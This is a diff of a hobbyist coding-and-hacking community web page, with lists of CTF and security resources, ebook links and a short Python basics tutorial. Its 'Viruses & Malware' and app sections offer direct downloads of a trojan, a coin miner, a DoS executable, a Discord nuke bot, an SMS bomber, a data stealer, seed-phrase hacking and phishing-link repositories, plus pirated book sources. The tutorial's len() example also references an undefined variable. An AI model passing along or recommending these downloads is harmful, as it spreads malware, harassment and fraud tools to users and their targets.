+                      <a href="/media/files/SPOILER_VirusShare_00e8704830ff0331d16f7d392b2efcbd.zip">Analyzing Data 1</a><br>
+                      <a href="/media/files/SPOILER_VirusShare_00ee48b8a32ce81fd8ebfc33cf36d9c2.zip">Analyzing Data 2</a><br>
+                      <a href="/media/files/SPOILER_VirusShare_b4027a690167090b8c9eb5bc4a507742.zip">Analyzing Data 3</a>
+                    </p>
+                    <Accordion parent="hackingresourcesAccordion">
+                      <Fragment slot="accordion-content">
+                        <AccordionItem title="Network Attack" id="networkattack" parent="hackingresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Network Attack</h4>
+                            <p>
+                              <a href="https://crypto.stanford.edu/cs155old/cs155-spring11/lectures/08-tcp-dns.pdf">Stanford</a><br>
+                              <a href="https://www.cl.cam.ac.uk/~rja14/Papers/SEv2-c21.pdf">Cambridge</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Network Fundamentals" id="networkfundamentals" parent="hackingresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Network Fundamentals</h4>
+                            <p>
+                              <a href="https://www.youtube.com/playlist?list=PLIFyRwBY_4bRLmKfP1KnZA6rZbRHtxmXi">Old-Fashioned</a><br>
+                              <a href="https://www.youtube.com/playlist?list=PLDQaRcbiSnqF5U8ffMgZzS7fq1rHUI3Q8">Modern</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Obfuscating Programs" id="obfuscatingpro" parent="hackingresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Obfuscating Programs</h4>
+                            <p>
+                              <a href="https://crates.io/crates/secmem-proc">Process Hardening</a><br>
+                              <a href="https://crates.io/crates/debugoff">Debug Off</a><br>
+                              <a href="https://crates.io/crates/goldberg">GoldBerg</a><br>
+                              <a href="https://crates.io/crates/cryptify">Cryptify</a><br>
+                              <a href="https://crates.io/crates/encrust">Mem Encrytion</a><br>
+                              <a href="https://crates.io/crates/stronghold-runtime">Stronghold-Runtime</a><br>
+                              <a href="https://crates.io/crates/Hela">Hela</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="CTF/RE Resources & Challenges" id="ctfreresources" parent="hackingresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>CTF/RE Resources & Challenges</h4>
+                            <p>
+                              <a href="https://411hall.github.io/assets/files/CTF_template.ctb">CherryTree Template for CTF Enumeration</a><br>
+                              <a href="https://ctf101.org/">CTF Compact Guide</a><br>
+                              <a href="https://ctftime.org/">CTF Events</a><br>
+                              <a href="https://ctftime.org/ctf-wtf/">CTF Learning 1</a><br>
+                              <a href="http://ctflearn.com/">CTF Learning 2</a><br>
+                              <a href="http://captf.com/practice-ctf/">CTF Challenges</a><br>
+                              <a href="https://reverse.put.as/crackmes/">Reverse Engineering</a><br>
+                              <a href="https://challenges.re/">RE Challenges</a><br>
+                              <a href="https://breachdirectory.tk">RE BreachDirectory</a><br>
+                              <a href="http://pwnable.tw/">pwnable.tr</a><br>
+                              <a href="http://reversing.kr/">Challenge 1</a><br>
+                              <a href="https://w3challs.com/">Challenge 2</a><br>
+                              <a href="https://pwn0.com">Challenge 3</a><br>
+                              <a href="https://w3challs.com/">Challenge 4</a><br>
+                              <a href="https://io.netgarage.org/">Challenge 5</a><br>
+                              <a href="http://ringzer0team.com/">Challenge 6</a><br>
+                              <a href="http://www.hellboundhackers.org/">Challenge 7</a><br>
+                              <a href="http://www.overthewire.org/wargames/">Challenge 8</a><br>
+                              <a href="http://counterhack.net/Counter_Hack/Challenges.html">Challenge 9</a><br>
+                              <a href="http://www.hackthissite.org/">Challenge 10</a><br>
+                              <a href="http://vulnhub.com/">Challenge 11</a><br>
+                              <a href="http://ctf.komodosec.com">Challenge 12</a><br>
+                              <a href="https://maxkersten.nl/binary-analysis-course/">Challenge 13</a><br>
+                              <a href="https://pwnadventure.com">Challenge 14</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="GitHub Resources" id="githubresources" parent="hackingresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>GitHub Resources</h4>
+                            <p>
+                              <a href="https://github.com/SkyPenguin-Solutions/SkyLine">CyberSecurity Programming Language</a><br>
+                              <a href="https://github.com/bmullan/CIAB.Full-Mesh.VPN.Wireguard.FRR.BGP.VXLAN.Internet.Overlay.Architecture">Cloud In A Box (CIAB)</a><br>
+                              <a href="https://github.com/LimerBoy/Impulse">Impulse (DoS Toolkit)</a><br>
+                              <a href="https://github.com/oracio-tech/doenerium">Data Stealer</a><br>
+                              <a href="https://github.com/lukasbalazik123/mantua">AntiDebug, AntiVM, AntiAV C Linux Library</a><br>
+                              <a href="https://github.com/eric-therond/webunpack">Vulnerable Module Detector</a><br>
+                              <a href="https://github.com/ffuf/ffuf">Web Fuzzer (Go)</a><br>
+                              <a href="https://github.com/freddiebarrsmith/Buffer-Overflow-Exploit-Development-Practice">OSCP Training</a><br>
+                              <a href="https://github.com/OlivierLaflamme/Cheatsheet-God">OSCP/PTP/PTX Cheatsheet</a><br>
+                              <a href="https://github.com/CorentinJ/Real-Time-Voice-Cloning">Voice Cloning</a><br>
+                              <a href="https://github.com/uppusaikiran/awesome-cctf-cheatsheet">CTF Cheatsheet</a><br>
+                              <a href="https://github.com/Voorivex/pentest-guide">Pentest Guide</a><br>
+                              <a href="https://github.com/sctreaak/keyhacks">KeyHacks</a><br>
+                              <a href="https://github.com/TomNomNom">TomNomNom</a><br>
+                              <a href="https://github.com/swisskyrepo/PayloadsAllTheThings">Payloading</a><br>
+                              <a href="https://github.com/bee-san/pyWhat">pyWhat</a><br>
+                              <a href="https://github.com/martinmarinov/TempestSDR">TempestSDR</a><br>
+                              <a href="https://github.com/SaumyajeetDas/GodGenesis">GodGenesis</a><br>
+                              <a href="https://github.com/rly0nheart/osinteye">OSINTeye</a><br>
+                              <a href="https://github.com/r4wd3r/Suborner">Suborner</a><br>
+                              <a href="https://github.com/whoami15/FBI-Tools">FBI Tools</a><br>
+                              <a href="https://github.com/secgroundzero/CS-Aggressor-Scripts">Aggressor Scripts 1</a><br>
+                              <a href="https://github.com/Und3rf10w/Aggressor-scripts">Aggressor Scripts 2</a><br>
+                              <a href="https://github.com/harleyQu1nn/AggressorScripts">Aggressor Scripts 3</a><br>
+                              <a href="https://github.com/rasta-mouse/Aggressor-Script">Aggressor Scripts 4</a><br>
+                              <a href="https://github.com/RhinoSecurityLabs/Aggressor-Scripts">Aggressor Scripts 5</a><br>
+                              <a href="https://github.com/bluscreenofjeff/AggressorScripts">Aggressor Scripts 6</a><br>
+                              <a href="https://github.com/001SPARTaN/aggressor_scripts">Aggressor Scripts 7</a><br>
+                              <a href="https://github.com/360-A-Team/CobaltStrike-Toolset">CobaltStrike Toolset for Aggressor Scripts</a><br>
+                              <a href="https://github.com/Hacking-the-Cloud/htc-ctfs/tree/main/aws/cicdont">CICDont</a><br>
+                              <a href="https://hackingthe.cloud/aws/capture_the_flag/cicdont/">CICDont Capture the Flag</a><br>
+                              <a href="https://github.com/b1-team/superma">Superma</a><br>
+                              <a href="https://github.com/3nock/SpiderSuite">SpiderSuite</a><br>
+                              <a href="https://github.com/struppigel/PortexAnalyzerGUI">Portex Analyzer GUI</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Medium Resources" id="mediumresources" parent="hackingresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Medium Resources</h4>
+                            <p>
+                              <a href="https://medium.com/@rickarentsen/rock-paper-scissors-game-made-with-tkinter-with-python-e4003f697e0c">Rock Paper Scissors (Python Tutorial)</a><br>
+                              <a href="https://medium.com/@rickarentsen/5-interesting-facts-about-the-internet-b78b656f1a63 feedback is appreciated">5 Internet Facts</a><br>
+                              <a href="https://medium.com/@viveik.chauhan/blind-remote-code-execution-b9c4e119f7c3">Blind Remote Code Execution</a><br>
+                              <a href="https://medium.com/@dmxinajeansuit/elf-binary-mangling-part-1-concepts-e00cb1352301">Elf Binary Mangling (Part 1)</a><br>
+                              <a href="https://medium.com/@dmxinajeansuit/elf-binary-mangling-pt-2-golfin-7e5c82bb482c">Elf Binary Mangling (Part 2)</a><br>
+                              <a href="https://medium.com/@dmxinajeansuit/elf-binary-mangling-part-3-weaponization-6e11971108b3">Elf Binary Mangling (Part 3)</a>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                        <AccordionItem title="Almond Force Videos" id="almondforce" parent="hackingresourcesAccordion">
+                          <Fragment slot="accordion-item-content">
+                            <h4>Almond Force Videos</h4>
+                            <p>
+                              <a href="https://www.youtube.com/watch?v=LNnVlwWDe-M&list=PLUrAjkLbvTpJmHslr1BljYnm5Lnuug9jF">BCACTF 3</a><br>
+                              <a href="https://www.youtube.com/watch?v=I7ugaarsN9M&list=PLUrAjkLbvTpKw5ZC-jryJI6wQpHvH_naE">HeroCTF v4</a><br>
+                              <a href="https://www.youtube.com/watch?v=0dXv4mgFvEo&list=PLUrAjkLbvTpJvQddU6MZooARtnKtcI6Li">Incognito 3</a><br>
+                              <a href="https://www.youtube.com/watch?v=A9ACD-DGM2U&list=PLUrAjkLbvTpKNt1wDghHXqWGrt7p3nFfP">MidnightFlag - INFEKTION</a><br>
+                              <a href="https://www.youtube.com/watch?v=YljnMU6iswU&list=PLUrAjkLbvTpIID1I8sdwwe4fgFJOZCGhV">Hacky Holidays 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=4UzHNuhTJbs&list=PLUrAjkLbvTpLJGPdxueL5uRvUVwmr4SnY">Hack the Boo 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=j1CYn74wCXU&list=PLUrAjkLbvTpJK0qbXAE7H73H8WkY26OwD">CTF After Dark - Fall 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=TKFgnuftyrs&list=PLUrAjkLbvTpKOlxddIlVkOBvydnEw7qVS">Digital Overdose 2022 Autumn CTF</a><br>
+                              <a href="https://www.youtube.com/watch?v=kYcEAeek_Wk&list=PLUrAjkLbvTpIQLKVQHi1XJBGaBp6UAjQM">DEADFACE CTF 2022</a><br>
+                              <a href="https://m.youtube.com/watch?v=BjtVkYRhCHU&list=PLUrAjkLbvTpKN8YKY6ZBEag_EAOGBa9jQ">HTB Business CTF</a><br>
+                              <a href="https://www.youtube.com/watch?v=K1dOFkvOjiA&list=PLUrAjkLbvTpJ10Wol8D8HQM7oq6mOtUBP">Tenable CTF 2022</a><br>
+                              <a href="https://youtu.be/wOLkE6HyKqY">TyphoonCon CTF 2022 (KeyGenMe)</a><br>
+                              <a href="https://www.youtube.com/watch?v=ppvNiujCtlo&list=PLUrAjkLbvTpK_2XGiUTkrRvUhr1kVlZak">Cyber Apocalypse 2022 (HackTheBox)</a><br>
+                              <a href="https://www.youtube.com/watch?v=bDEXY_MY_Wk&feature=youtu.be">Hack The Box - Starting Point (Tier 0): Fawn</a><br>
+                              <a href="https://www.youtube.com/watch?v=yt_jfx4D1gY">Hack The Box - Starting Point (Tier 0): Meow & Almond Force Channel Updates</a><br>
+                              <a href="https://www.youtube.com/watch?v=7Ln4Ga8WBG8">HackTheBox Marshal in the Middle</a><br>
+                              <a href="https://www.youtube.com/watch?v=n4RK09OZbAw&list=PLUrAjkLbvTpLUHxP0zFq7kwRqs4NZIFvW">11 HackTheBox Videos</a><br>
+                              <a href="https://www.youtube.com/watch?v=w8MJitt3irc&list=PLUrAjkLbvTpLtLloI8Pqk1P3n8p1sCRw2">TJCTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=nSAJmtLbD-k&list=PLUrAjkLbvTpLT35eSB5anERpDAx2ogSCJangstrom">BYU CTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=lI4gpyz09PE&list=PLUrAjkLbvTpJoJ5mVa0lf_UtoSetcwylu">Digital Overdose CTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=-MdxtbXvDGI&list=PLUrAjkLbvTpLnJzdh8v4ONJI4TE14hhkq">NahamCon CTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=BpX0TwnDTQY&list=PLUrAjkLbvTpI6p83T4HEx8rc3RBMuYw10">Boilers CTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=0SnelTGKfDM&list=PLUrAjkLbvTpJgi2wc03ElMfgk9iAv7vSd">PatriotCTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=9uxuPygnEwk&list=PLUrAjkLbvTpIX9ZMshTxR3cJyW_kkOFIg">TAMUctf 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=UbAaLQz38T4&list=PLUrAjkLbvTpKnj4AARb4MeBb3hjOjF6BN">picoCTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=yeGdAOd4mEw&list=PLUrAjkLbvTpKS3VsD_G6GOD648aaYj46l">Metared CTF 2022 Stage 1</a><br>
+                              <a href="https://www.youtube.com/watch?v=cEhL-N6fPfs&list=PLUrAjkLbvTpLEz-ZjJDSNmUyD8apzG16m">Metared CTF 2022 Stage 2</a><br>
+                              <a href="https://youtu.be/crz0VYlV1eg">Metared CTF 2022 Stage 3</a><br>
+                              <a href="https://youtu.be/Y05VYgaVzz0">Metared CTF 2022 Stage 4</a><br>
+                              <a href="https://www.youtube.com/watch?v=lFNXm-hj53c&list=PLUrAjkLbvTpIkDrQ4zC2Hc9QUVl6xAe4s">Blackhat MEA CTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=J6Zyn7B3FS0">WRECKCTF2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=6pMl2EB7Y7A&list=PLUrAjkLbvTpLIMsikAb4WY0wQPlaZ9jpo">DownUnderCTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=0KEj7GNXfQ8&list=PLUrAjkLbvTpJMEg0f8qDzWJpTOfm1i41B">CSAW CTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=_nriNzpVrgQ&list=PLUrAjkLbvTpI4BFDBOFZnMr7Z61y0Ejvs">Inter-Galactic CTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=fIcuIE1C-FY&list=PLUrAjkLbvTpIcQaDPx4sOGOUca4IpWLDI">SHELL CTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=o2b33EMBM5w">Whack-a-frog corCTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=PmBTMNqUTys&list=PLUrAjkLbvTpK4ixlkQxZDrsj9mASlz26N">T3N4CI0US CTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=6OANStAZEss&list=PLUrAjkLbvTpIOn4XCn7F9V5SXMXve766b">TFC CTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=_w5qd0Rh9sg">MITRE Cyber Academy CTF 2022</a><br>
+                              <a href="https://www.youtube.com/watch?v=j8CVLGuNlwk&list=PLUrAjkLbvTpKbRFTCCxpqtCYVh3cfo0-v">picoCTF 2023</a><br>
+                              <a href="https://www.youtube.com/watch?v=pbdC-POk-XU&list=PLUrAjkLbvTpKBgf4uRsc2JWhs8OZeswah">Cyber Apocalypse 2023</a><br>
+                              <a href="https://www.youtube.com/watch?v=6S0v8lIk9oA">CTFGuide to CyberChef</a><br>
+                              <a href="https://www.youtube.com/watch?v=zH7GwcaCktA">Are Certs Worth It?</a><br>
+                            </p>
+                          </Fragment>
+                        </AccordionItem>
+                      </Fragment>
+                    </Accordion>
+                  </Fragment>
+                </AccordionItem>
+                <AccordionItem title="Downloadable Resources" id="downloadableresources" parent="resourcesAccordion">
+                  <Fragment slot="accordion-item-content">
+                    <h3>Downloadable Resources</h3>
+                    <div class="my-1">
+                      <h4>Windows Kernel Programming</h4>
+                      <a class="btn btn-primary" href="/media/files/Windows_Kernel_Programming_-_PDF_Room.pdf">View</a>
+                    </div>
+                    <hr>
+                    <div class="my-1">
+                      <h4>Practical IoT Accessing</h4>
+                      <a class="btn btn-primary" href="/media/files/Practical_IoT_Hacking.pdf">View</a>
+                    </div>
+                    <hr>
+                    <div class="my-1">
+                      <h4>Black Hat w/ Python</h4>
+                      <a class="btn btn-primary" href="/media/files/Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters.pdf">View</a>
+                    </div>
+                    <hr>
+                    <div class="my-1">
+                      <h4>DoD for CyberSecurity</h4>
+                      <a class="btn btn-primary" href="https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF">View</a>
+                    </div>
+                    <hr>
+                    <div class="my-1">
+                      <h4>Race Conditions for Web Pentesting</h4>
+                      <a class="btn btn-primary" href="https://book.hacktricks.xyz/pentesting-web/race-condition">View</a>
+                    </div>
+                    <hr>
+                    <div class="my-1">
+                      <h4>Digital Systems (10th Edition PDF)</h4>
+                      <div class="d-sm-flex gap-2">
+                        <a class="btn btn-primary" href="https://doc.lagout.org/electronics/Digital%20Systems%20Principles%20And%20Applications%20%20%5Bby%20Ronald%20Tocci%5D.pdf">View</a>
+                        <a class="btn btn-secondary" href="https://doc.lagout.org">doc.lagout.org</a>
+                      </div>
+                    </div>
+                    <hr>
+                    <div class="my-1">
+                      <h3>Clean Architecture: Structuring your Applications for Minimal Effort & Maximal Result.</h3>
+                      <a class="btn btn-primary" href="/media/pdf/clean-architecture-a-craftsmans-guide-to-software-structure-and-design_compress.pdf">View</a>
+                    </div>
+                    <hr>
+                    <div class="my-1">
+                      <h3>Free coding books!</h3>
+                      <a class="btn btn-primary" href="https://books.goalkicker.com/">View</a>
+                    </div>
+                    <hr>
+                    <div class="my-1">
+                      <h3>1,000 I.T books!</h3>
+                      <a class="btn btn-primary" href="https://drive.google.com/drive/folders/1F7D5c30nP-y_Q7SFqoRTRvJ7tl0UcY3q">View</a>
+                    </div>
+                    <hr>
+                    <div class="my-1">
+                      <h3>Over 8M+ eBooks!</h3>
+                      <a class="btn btn-primary" href="https://z-lib.io/">View</a>
+                    </div>
+                  </Fragment>
+                </AccordionItem>
+              </Fragment>
+            </Accordion>
+          </Fragment>
+        </Modal>
+        <Modal title="Viruses &amp; Malware" id="files">
+          <Fragment slot="modal-content">
+            <p>
+              <a href="/media/files/Meme_Coin.ZIP" download>Meme_Coin (ZIP)</a>
+              <a href="/media/files/Meme_coin_miner.exe" download>Meme_Coin (EXE)</a>
+              <a href="/media/files/My_App.zip" download>My_App (ZIP)</a>
+              <a href="/media/files/Myballzhert.zip" download>Myballzhert (ZIP)</a> by Dream3456789 (Password: "mysubsarethebest")
+            </p>
+            <p>
+              <a href="/media/files/Trojan_Spyer.exe" download>Trojan_Spyer (EXE)</a> by MagSam2
+            </p>
+            <p>
+              <a href="/media/files/Nuking-Discord-Server-Bot-Nuke-Bot-master.zip" download>Nuking Discord Bot (ZIP)</a>
+            <p>
+              <a href="/media/files/Scammed.zip" download>Scam (ZIP)</a> by the pfp is for nuking kpopserver
+            </p>
+            <p>
+              <a href="/media/files/BFF_DoS.exe" download>BFF_DoS (EXE)</a>
+              <a href="/media/files/Code.txt" download>Code (TXT)</a>
+              <a href="/media/files/baby.bat" download>Baby (BAT)</a>
+              <a href="/media/files/BabyCodes.txt" download>BabyCodes (TXT)</a> by Corrupt Assassin
+            </p>
+          </Fragment>
+        </Modal>
+        <Modal title="Code Samples" id="code">
+          <Fragment slot="modal-content">
+            <p>
+              <a href="https://github.com/FordArthur/insitucs">Insitux Compiler</a>
+              <a href="https://github.com/FordArthur/chess-ix">Chess I (Insitux)</a>
+              <a href="/media/files/chess.ix" download>Chess II (Insitux)</a>
+              <a href="https://github.com/FordArthur/ballistics-ix">Ballstics I (Insitux)</a>
+              <a href="https://github.com/FordArthur/Insitux-math-libs">Math Libs for Insitux</a>
+              <a href="https://github.com/FordArthur/svelte-app">svelte-app</a>
+              <a href="/media/files/RosettaCode.ix" download>Rosetta Code (Insitux)</a>
+              <a href="/media/files/polinomic-solver.ix" download>Polinomic Solver (Insitux)</a>
+              <a href="/media/files/ambiguous-operator.ix" download>Ambiguous Operator (Insitux)</a>
+              <a href="/media/files/rockpaperscissors.ix" download>Rock Paper Scissors (Insitux)</a> by Al-Ford Arthur
+            </p>
+            <p>
+              <a href="/media/files/rockpaperscissors.py" download>Rock Paper Scissors (Python)</a> by Sezieru
+            </p>
+            <p>
+              <a href="https://github.com/Savageboitim13/UMS-WF/">UMS-WF</a>
+              <a href="https://github.com/Savageboitim13/Principles-CSharp">Principles for C# & Java</a> by venenjean
+            </p>
+            <p>
+              <a href="https://github.com/phunanon/ip3">IP3</a> by Patrick
+            </p>
+            <p>
+              <a href="https://github.com/JSman225/ROTL">ROTL</a> by JSman225
+            </p>
+            <p>
+              <a href="/media/files/test-OBFUSCATED.py" download>ISS Obfuscator (Python 3.9)</a> by vesper
+            </p>
+            <p>
+              <a href="/media/files/long_snakes_long_code_.py" download>Snake Game in One Line of Code (Python)</a> by ByThon
+            </p>
+            <p>
+              <a href="https://github.com/ProtDos/ScammerPayback">ScammerPayback</a>
+              <a href="/media/files/tic.py" download>Tic Tac Toe (Python)</a>
+              <a href="https://github.com/ProtDos/Flask-PayPal/archive/refs/heads/main.zip" download>Flask PayPal (Python | ZIP)</a>
+              <a href="/media/files/stress.py" download>Apache Stress Tester (Python)</a>
+              <a href="/media/files/bestree.py" download>bestree (Python)</a>
+              <a href="/media/files/protect.py" download>SSL Protection (Python)</a>
+              <a href="https://github.com/ProtDos/SeedPhraseHack/archive/refs/heads/main.zip" download>SeedPhraseHack (Python | ZIP)</a>
+              <a href="/media/files/checker.py" download>Domain Checker (Python)</a>
+              <a href="https://github.com/ProtDos/DiscordMassDM">Discord Mass DM</a> (<a href="https://github.com/ProtDos/DiscordMassDM/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/IP-Address-Generator-Checker">IP Address Generator Checker</a> (<a href="https://github.com/ProtDos/IP-Address-Generator-Checker/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/ClashOfClans-Wrapper">Clash of Clans Wrapper</a> (<a href="https://github.com/ProtDos/ClashOfClans-Wrapper/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/Crunch-PasswordGenerator/archive/refs/heads/main.zip" download>Crunch Password Generator (Python | ZIP)</a>
+              <a href="https://github.com/ProtDos/Mint">Mint (OSINT)</a> (<a href="https://github.com/ProtDos/Mint/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/WebcamSearch/archive/refs/heads/main.zip" download>Webcam Search (Python | ZIP)</a>
+              <a href="https://github.com/ProtDos/Discord-Token-Onliner">Discord Token Onliner</a> (<a href="https://github.com/ProtDos/Discord-Token-Onliner/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/boosint">boosint (OSINT)</a> (<a href="https://github.com/ProtDos/boosint/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/ntru">ntru</a> (<a href="https://github.com/ProtDos/ntru/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/pq-ntru">pq-ntru</a> (<a href="https://github.com/ProtDos/pq-ntru/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/IP-Address-Generator-Checker">IP Adress Generator Checker</a> By CodingLive
+            </p>
+            <h3>ncrypt.c by Sezieru</h3> This is a relatively simple example for using <code>crypt()</code> on Linux to generate Linux-compatible password hashes. This is useful for replacing a lost password hash, for example. <p>
+              <a href="/media/files/ncrypt.c" download>ncrypt.c Download</a>
+            </p>
+            <h3> Other OSINT Guides </h3>
+            <p><b>Use caution upon entering these links as they grab your personal information upon entering.</b></p>
+            <p>
+              <a href="https://github.com/ProtDos/VanishGuide">VanishGuide</a>
+              <a href="https://github.com/ProtDos/discord-phishing-links">Discord Phishing Links</a>
+              <a href="https://github.com/ProtDos/IP-Address-List">IP Address List</a> by CodingLive
+            </p>
+          </Fragment>
+        </Modal>
+        <Modal title="Apps &amp; Software" id="app">
+          <Fragment slot="modal-content">
+            <p>
+              <a href="/media/files/sms_bomb.apk" download>SMS Bomb (APK)</a> (<a href="/sms">Site</a>) by CodingLive
+            </p>
+            <h3>Veilo by CodingLive</h3>
+            <p>
+              <a href="https://veilo.protdos.com/download">Veilo</a>
+            </p>
+            <p>
+              <a href="/redirect/veilo">Veilo Download</a>
+            </p>
+            <h3>Encochat by CodingLive</h3>
+            <p>
+              <a href="https://github.com/ProtDos/encochat">Encochat v1</a>
+            </p>
+            <p>
+              <a href="https://github.com/ProtDos/PrivateChatOld">Encochat v2</a>
+            </p>
+            <p>
+              <a href="https://github.com/ProtDos/PrivateChat">Encochat v3</a>
+            </p>
+            <p>
+              <a href="https://app.protdos.com/">Encochat Website</a>
+            </p>
+            <p>
+              <a href="/redirect/encochat">Encochat Download</a>
+            </p>
+            <h3>vpnchecker by CodingLive</h3>
+            <p><b>Use caution upon entering these links as they grab your personal information upon entering.</b></p>
+            <p>
+              <a href="https://github.com/ProtDos/vpnchecker">vpnchecker</a> (<a href="https://github.com/ProtDos/vpnchecker/archive/refs/heads/main.zip">HTML | ZIP</a>)
+            <p>
+              <a href="https://protdos.github.io/vpnchecker">vpnchecker Website</a>
+            </p>
+          </Fragment>
+        </Modal>
+        <Modal title="Python Basics" id="py">
+          <Fragment slot="modal-content">
+            <div class="mb-3">
+              <a href="#pythonresources" target="_blank" rel="noreferrer noopener" class="btn btn-info">Python Resources</a>
+            </div>
+            <Scrollspy id="py-basics-list" 
+              scrollcontent={[ 
+                { name: "Comments" , href: "#com-3" }, 
+                { name: "Data Types" , href: "#data-3" }, 
+                { name: "Strings" , href: "#str-3" }, 
+                { name: "Numbers" , href: "#num-3" }, 
+              ]}
+            >
+              <Fragment slot="scrollspy-content">
+                <div id="com-3">
+                  <h3>Comments</h3>
+                  <p>You can write text that the program will ignore by beginning the line with a #, this helps with reminding you what certain code does or for explaining purposes. </p>
+<pre>
+<code> 
+# This is a comment 
+</code>  
+</pre>
+                </div>
+                <div id="data-3">
+                  <h3>Data Types</h3>
+                  <p>Variables can store data of different types, and different types can do different things.</p>
+                  <p>Python has the following data types built-in by default, in these categories: <br> Text Type: <code>str</code>
+                    <br> Numeric Types: <code>int, float, complex</code>
+                    <br> Sequence Types: <code>list, tuple, range</code>
+                    <br> Mapping Type: <code>dict</code>
+                    <br> Set Types: <code>set, frozenset</code>
+                    <br> Boolean Type: <code>bool</code>
+                    <br> Binary Types: <code>bytes, bytearray, memoryview</code>
                   </p>
-                  <h5>JavaScript</h5>
-                  <p>
-                    <a href="https://www.youtube.com/@ColorCodeio">ColorCode</a>
+                  <p>We will go more in-depth on some of these types in the next few sections.</p>
+                  <p>You can print the data type of a variable with the <code>type()</code> function:</p>
+<pre>
+<code>
+x = 5 <br> print(type(x)) 
+</code> 
+</pre>
+                </div>
+                <div id="str-3">
+                  <h3>Strings</h3>
+                  <p>Strings are surrounded by either single quotation marks, or double quotation marks.:
+<pre>
+<code>  
+x = "hello" 
+y = 'hello'
+# single quotations and double quotation marks are the same
+x == y # returns True 
+</code>
+</pre>
+                  <p>You can assign a multiline string to a variable by using three quotes: </p>
+<pre>
+<code> 
+x = """The FitnessGram Pacer test is a multistage aerobic capacity test that progressively gets more difficult as it continues. The 20 meter Pacer test will begin in 30 seconds."""  
+</code>
+</pre>
+                  <p>You can check the length of a string using the len() function: </p>
+<pre>
+<code>  
+  x = "hello" 
+  print(len(text)) # returns 5
+</code>
+</pre>
+                </div>
+                <div id="num-3">
+                  <h3>Numbers</h3>
+                  <p>There are 2 primary, <code>int</code> and <code>float</code>
                   </p>
-                  <h5>General</h5>
+<pre>
+<code> 
+x = 2   # int
+y = 2.8 # float 
+</code>
+</pre>
+                  <p>To verify the type of an object in Python, use the type() function:</p>
+<pre>
+<code> 
+print(type(x)) 
+print(type(y)) 
+</code>
+</pre>
+                  <p>Int, or integers, are whole numbers, positive or negative, without decimals.</p>
+                  <p>Float is a number, positive or negative, containing one or more decimals.</p>
+                  <p>Both strings and numbers are built-in data types.</p>
+                </div>
+              </Fragment>
+            </Scrollspy>
+          </Fragment>
+        </Modal>
+        <Modal title="C++ Basics" id="cpp">
+          <Fragment slot="modal-content">
+            <div class="d-flex flex-wrap gap-2 mb-3">
+              <a href="#cppresources" target="_blank" rel="noreferrer noopener" class="btn btn-info">C++ Resources</a>
+              <a href="https://gist.github.com/VenenJean/8e8a0c7fcaee8713d8aaf7230b28d6b6" target="_blank" rel="noreferrer noopener" class="btn btn-info">VenenJean's Notes</a>
+            </div>
+            <Scrollspy id="cpp-basics-list" 
+              scrollcontent={[ 
+                { name: "Strings" , href: "#str-4" }, 
+                { name: "Integers" , href: "#integers-4" }, 
+                { name: "Print" , href: "#print-4" }, 
+                { name: "Other Data Types" , href: "#data-4" },
+                { name: "Comments" , href: "#comments-4" }
+              ]}
+            >
+              <Fragment slot="scrollspy-content">
+                <div id="strings-4">
+                  <h3>Strings</h3>
+                  <p> A string is a sequence of characters representing text. Strings are typically enclosed in quotation marks and can be stored in variables for later use in a program. </p>
                   <p>
-                    <a href="https://www.youtube.com/@Cleancoders/videos">Clean Coders</a>
-                    <a href="https://www.youtube.com/@Coderized">Coderized</a>
-                    <a href="https://www.youtube.com/@wndtn/videos">Winderton</a>
-                    <a href="https://www.youtube.com/@CodeAesthetic">CodeAesthetic</a>
-                    <a href="https://www.youtube.com/@StudyingWithAlex">Studying with Alex</a>
-                    <a href="https://www.youtube.com/watch?v=NuyzuNBFWxQ">Fireship</a>
+<pre>
+<code> 
+#include &lt;ostream&gt;
+#include &lt;string&gt;
+
+int main() &lbrace; 
+    // Declare a string variable
